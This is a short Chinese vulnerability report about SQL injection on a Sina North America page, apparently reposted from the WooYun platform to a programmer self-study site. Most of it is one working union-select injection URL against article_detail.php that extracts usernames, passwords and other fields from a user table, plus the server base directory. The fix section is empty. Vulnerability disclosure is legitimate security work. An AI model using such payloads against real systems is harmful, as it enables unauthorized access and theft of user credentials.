简要描述：无过滤无验证 漏洞 证明： http://yp.sina测试数据/article_detail.php?aid=-1'+union+select+1,2,3,GROUP_CONCAT(DISTINCT+username,0x5f,password,0x5f,status,0x5f,num),@@basedir,6,7,8+from+sds_user/* 修复方案：你懂的.. 版权声明：转载请注明来源darksn0w@乌云
查看更多关于新浪北美首页Injection及修复方案 - 网站安全 - 自的详细内容...
声明：本文来自网络，不代表【好得很程序员自学网】立场，转载请注明出处：http://haodehen.cn/did12528